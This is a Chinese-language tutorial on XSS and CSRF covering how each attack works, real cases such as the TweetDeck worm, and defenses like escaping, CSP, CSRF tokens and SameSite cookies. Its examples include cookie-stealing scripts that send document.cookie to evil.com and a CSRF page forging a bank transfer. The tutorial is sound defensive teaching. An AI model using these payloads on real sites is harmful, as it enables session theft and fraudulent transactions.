XSS 与 CSRF 深度解析

前端安全的两座大山:跨站脚本攻击(XSS)与跨站请求伪造(CSRF), 本文从原理、攻击向量、防御策略三个维度展开,配合实战案例深入剖析。


一、XSS(Cross-Site Scripting,跨站脚本攻击)

1.1 核心原理

XSS 的本质:攻击者将恶意脚本注入到目标网站的页面中,当其他用户浏览该页面时,脚本在用户浏览器中执行,从而窃取 Cookie、Token、敏感信息,或冒充用户执行操作。

复制代码
攻击者 → 向网站注入恶意脚本 → 用户访问含恶意脚本的页面 → 脚本在用户浏览器执行 → 数据泄露/操作伪造

1.2 三种类型及攻击向量

1.2.1 反射型 XSS(Reflected XSS)

恶意脚本通过 URL 参数、表单提交等方式"反射"回页面,需要用户点击恶意链接才能触发。

攻击示例:

javascript 复制代码
// 假设后端搜索接口返回页面时直接拼接了搜索关键词
// URL: https://example.com/search?q=<script>alert(document.cookie)</script>

// 后端代码(不安全)
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>搜索结果: ${query}</h1>`); // 直接拼接,未转义!
});

用户点击该链接后,<script>alert(document.cookie)</script> 会在浏览器中执行,弹出用户的 Cookie。实际攻击中,攻击者会将 Cookie 发送到自己的服务器:

perl 复制代码
// 攻击者构造的 URL(URL 编码后)
https://example.com/search?q=%3Cscript%3Efetch('https://evil.com/steal?c='+document.cookie)%3C/script%3E

防御方式:输出编码

javascript 复制代码
// 安全的做法:对输出进行 HTML 实体编码
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h1>搜索结果: ${query}</h1>`);
});

1.2.2 存储型 XSS(Stored XSS)

恶意脚本被持久化存储在服务器(数据库、文件等),每次用户访问页面时都会触发,危害最大。

攻击示例:

php 复制代码
// 假设一个留言板功能,攻击者在留言中插入恶意脚本
// 留言内容:
const maliciousComment = `
  <p>这篇文章写得真好!</p>
  <script>
    // 窃取所有浏览该留言用户的 Cookie
    fetch('https://evil.com/collect', {
      method: 'POST',
      body: JSON.stringify({ cookie: document.cookie, url: location.href }),
      headers: { 'Content-Type': 'application/json' }
    });
  </script>
`;

// 后端直接存入数据库,不做过滤
db.comments.insert({ content: maliciousComment });

真实案例 ------ 2014年 TweetDeck XSS 漏洞:

攻击者发了一条包含以下代码的推文:

perl 复制代码
<script class="xss">
  $('.xss').parents().eq(1).find('a').eq(1).click();
  $('[data-action=retweet]').click();
  alert('XSS in TweetDeck');
</script>

由于 TweetDeck 未对推文内容做 HTML 转义,每个看到这条推文的用户都会自动转发该推文,形成蠕虫式传播,影响数十万用户。

防御方式:

css 复制代码
// 1. 服务端:存储前做 HTML 转义
const sanitized = escapeHtml(comment.content);
db.comments.insert({ content: sanitized });

// 2. 使用 DOMPurify 做客户端清理
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyHTML);

// 3. 设置 Content-Security-Policy HTTP 头
// Content-Security-Policy: default-src 'self'; script-src 'self'

1.2.3 DOM 型 XSS(DOM-based XSS)

恶意脚本不经过服务器,完全在客户端通过 DOM 操作执行。

攻击示例:

ini 复制代码
// URL: https://example.com/profile#<img src=x onerror=alert(1)>

// 前端代码(不安全)
const hash = location.hash.slice(1);
document.getElementById('welcome').innerHTML = `欢迎,${hash}`;

innerHTML 直接插入未过滤的内容,onerror 事件触发脚本执行。

防御方式:

ini 复制代码
// 使用 textContent 而非 innerHTML
document.getElementById('welcome').textContent = `欢迎,${hash}`;

// 或使用 createElement + textContent
const span = document.createElement('span');
span.textContent = hash;
document.getElementById('welcome').appendChild(span);

1.3 XSS 防御体系总结

防御层 策略 说明
输出编码 HTML 实体转义 根据上下文选择正确的编码方式(HTML/JS/URL/CSS)
输入验证 白名单校验 仅允许符合预期格式的输入
CSP Content-Security-Policy 限制脚本来源,禁止内联脚本
HttpOnly Cookie Set-Cookie: HttpOnly 禁止 JavaScript 读取 Cookie
框架防护 React/Vue 默认转义 现代框架默认对 {} 插值做转义
javascript 复制代码
// React 中的 XSS 防护
// ✅ 安全:React 默认转义
<div>{userInput}</div>

// ❌ 危险:dangerouslySetInnerHTML 绕过转义
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// ✅ 如果必须用:先清理再渲染
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />

二、CSRF(Cross-Site Request Forgery,跨站请求伪造)

2.1 核心原理

CSRF 的本质:攻击者诱导用户在已登录目标网站的情况下,访问攻击者构造的恶意页面,该页面自动向目标网站发送请求,利用用户已认证的身份执行非预期操作。

markdown 复制代码
用户登录 bank.com → 浏览器存有 bank.com 的 Cookie
                              ↓
用户访问 evil.com → evil.com 自动向 bank.com 发请求(携带 Cookie)
                              ↓
bank.com 验证通过 → 执行攻击者预设的操作(转账、改密等)

2.2 攻击流程详解

场景:银行转账

ini 复制代码
正常转账请求:
POST https://bank.com/transfer
Cookie: session=abc123
Body: toAccount=zhangsan&amount=10000

攻击者构造恶意页面:

xml 复制代码
<!-- evil.com/csrf.html -->
<html>
<body>
  <h1>恭喜中奖!点击领取</h1>

  <!-- 方式一:自动提交表单 -->
  <form id="csrf-form" action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="toAccount" value="attacker">
    <input type="hidden" name="amount" value="50000">
  </form>
  <script>
    document.getElementById('csrf-form').submit();
  </script>

  <!-- 方式二:通过图片 GET 请求 -->
  <img src="https://bank.com/transfer?toAccount=attacker&amount=50000"
       style="display:none" />

  <!-- 方式三:通过 fetch/XHR(CORS 限制下可能受限) -->
  <script>
    fetch('https://bank.com/transfer', {
      method: 'POST',
      credentials: 'include',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: 'toAccount=attacker&amount=50000'
    });
  </script>
</body>
</html>

当用户(已登录 bank.com)访问 evil.com/csrf.html 时,浏览器会自动携带 bank.com 的 Cookie 发送转账请求,银行服务器无法区分这是正常请求还是伪造请求。

2.3 真实案例

案例一:2008年 Gmail CSRF 漏洞

攻击者可以构造一个恶意页面,当 Gmail 用户访问该页面时,自动创建邮件过滤器,将用户所有邮件转发到攻击者的邮箱。攻击者只需构造一个指向 Gmail 过滤器设置接口的 POST 请求即可。

案例二:2009年 Twitter CSRF 蠕虫

攻击者利用 CSRF 漏洞,当用户访问恶意页面时,自动发推文。该推文包含恶意链接,导致看到推文的用户也访问恶意页面,形成传播链。

2.4 防御策略

2.4.1 同源检测(Origin / Referer)

ini 复制代码
// 服务端验证请求来源
app.post('/transfer', (req, res) => {
  const origin = req.headers.origin;
  const referer = req.headers.referer;

  // 验证 Origin 或 Referer 是否来自可信域名
  const allowedOrigins = ['https://bank.com', 'https://www.bank.com'];
  if (!origin || !allowedOrigins.includes(origin)) {
    return res.status(403).json({ error: '非法请求来源' });
  }
  // 继续处理...
});

注意: Referer 在某些场景可能被禁用或篡改,不应作为唯一防御手段。

2.4.2 CSRF Token(最常用)

ini 复制代码
// 服务端生成并返回 Token
app.get('/transfer-form', (req, res) => {
  const csrfToken = crypto.randomUUID();
  req.session.csrfToken = csrfToken;
  res.render('transfer', { csrfToken });
});

// 前端提交时带上 Token
// <input type="hidden" name="_csrf" value="{{csrfToken}}" />

// 服务端验证 Token
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.session.csrfToken) {
    return res.status(403).json({ error: 'CSRF 验证失败' });
  }
  // 继续处理...
});

前端实现:

php 复制代码
// React 中通过 meta 标签传递 CSRF Token
// <meta name="csrf-token" content="{{csrfToken}}">

const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': csrfToken, // 自定义请求头携带 Token
  },
  body: JSON.stringify({ toAccount: 'zhangsan', amount: 10000 })
});
ini 复制代码
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
行为 安全级别
Strict 完全禁止跨站携带 Cookie 最高,但可能影响用户体验
Lax 仅顶级导航(GET 链接)允许跨站携带 推荐,平衡安全与体验
None 无限制(需配合 Secure 最低,不推荐
php 复制代码
// 前端:将 Cookie 值写入请求头
const token = getCookie('csrf_token');
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': token },
  body: formData
});

// 服务端:比较 Cookie 和请求头中的值
app.post('/transfer', (req, res) => {
  const cookieToken = req.cookies.csrf_token;
  const headerToken = req.headers['x-csrf-token'];
  if (!cookieToken || cookieToken !== headerToken) {
    return res.status(403).json({ error: 'CSRF 验证失败' });
  }
});

2.4.5 自定义请求头

arduino 复制代码
// 利用浏览器同源策略:跨域请求无法设置自定义请求头
fetch('/api/sensitive', {
  headers: {
    'X-Requested-With': 'XMLHttpRequest', // 自定义头
    'Authorization': 'Bearer token123'
  }
});

浏览器在跨域时无法添加自定义请求头(除非 CORS 预检通过),因此只要服务端验证自定义头存在即可防御简单 CSRF。

2.5 CSRF 防御体系总结

markdown 复制代码
                    ┌─────────────────────────────────────┐
                    │           CSRF 防御体系              │
                    ├─────────────────────────────────────┤
                    │  第1层:SameSite Cookie              │
                    │    └─ 从源头阻止跨站携带 Cookie      │
                    ├─────────────────────────────────────┤
                    │  第2层:Origin/Referer 检查          │
                    │    └─ 验证请求来源域名               │
                    ├─────────────────────────────────────┤
                    │  第3层:CSRF Token                   │
                    │    └─ 不可预测的令牌验证             │
                    ├─────────────────────────────────────┤
                    │  第4层:自定义请求头                  │
                    │    └─ 利用同源策略限制               │
                    ├─────────────────────────────────────┤
                    │  第5层:用户交互确认                  │
                    │    └─ 敏感操作二次验证(短信/密码)  │
                    └─────────────────────────────────────┘

三、XSS vs CSRF 对比

维度 XSS CSRF
攻击目标 用户浏览器 Web 应用服务器
利用对象 网站的 XSS 漏洞 用户已认证的会话
必要条件 网站存在输出未转义的输入点 用户已登录目标网站
攻击影响 执行任意 JS 代码,完全控制用户会话 以用户身份执行特定操作
核心防御 输出编码 + CSP CSRF Token + SameSite Cookie
是否依赖同源策略 否(脚本注入到同源页面) 是(利用跨域自动携带 Cookie)

组合攻击:XSS + CSRF

XSS 可以绕过 CSRF 的所有防御:

php 复制代码
// 攻击者通过 XSS 注入此脚本
// 因为脚本在同源页面执行,可以读取 CSRF Token,绕过所有 CSRF 防御
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
  },
  body: JSON.stringify({ toAccount: 'attacker', amount: 99999 })
});

这就是为什么防御 XSS 是前提:如果 XSS 存在,CSRF 防御形同虚设。


四、实践检查清单

XSS 检查清单

  • 所有用户输入在输出时做 HTML 实体编码
  • 避免使用 innerHTMLdocument.writeeval
  • 设置 Content-Security-Policy 头
  • Cookie 设置 HttpOnly 和 Secure 标志
  • 使用 DOMPurify 清理富文本
  • 对 URL 参数做验证和编码
  • 文件上传校验 MIME 类型

CSRF 检查清单

  • 所有状态变更请求使用 POST/PUT/DELETE(非 GET)
  • 实现 CSRF Token 机制
  • 设置 SameSite=Lax Cookie
  • 验证 Origin/Referer 头
  • 敏感操作需要二次验证
  • API 使用 Token 认证(JWT)而非 Cookie
  • 避免使用 JSONP

五、总结

XSS 和 CSRF 是 Web 安全中最常见的两类攻击。XSS 利用了对输入的信任 ,CSRF 利用了对浏览器的信任

防御的核心思路:

  • XSS:永远不要信任用户输入,输出必须编码
  • CSRF:永远不要信任浏览器自动携带的凭证,必须额外验证

在实际开发中,现代前端框架(React、Vue)和主流后端框架(Spring Security、Django)都提供了内置的安全防护,但理解其原理仍然至关重要------因为框架只能防御常见模式,定制化的危险操作仍需要开发者自己把关。

相关推荐
打呵欠的猫1 小时前
AI 生成的代码你敢直接上线吗?我总结出 3 条铁律
前端·ai编程
极速蜗牛1 小时前
我在 Taro 小程序项目里实践的 API First + AI 编程方式
前端·人工智能·后端
锋行天下2 小时前
数据库安全并发控制详解:乐观锁 vs 悲观锁 vs 原子操作
前端·数据库·后端
饼饼饼2 小时前
React19 新手指南:JSX 没那么难,用好这几条规则就够了
前端·javascript·react.js
想吃火锅10053 小时前
【前端手撕】new
前端
小小小小宇3 小时前
AI大背景下端到端界面测试
前端
小小小小宇3 小时前
前端端到端界面测试全解析与应用
前端
去伪存真3 小时前
如何将没有字幕的英文视频转换成中文视频?
前端·pytorch·llm
Coisinier3 小时前
RHCE中shell脚本基础(磁盘剩余空间监控,Web 服务状态检查,curl 访问 Web 服务并返回状态)
linux·运维·服务器·前端·nginx·操作系统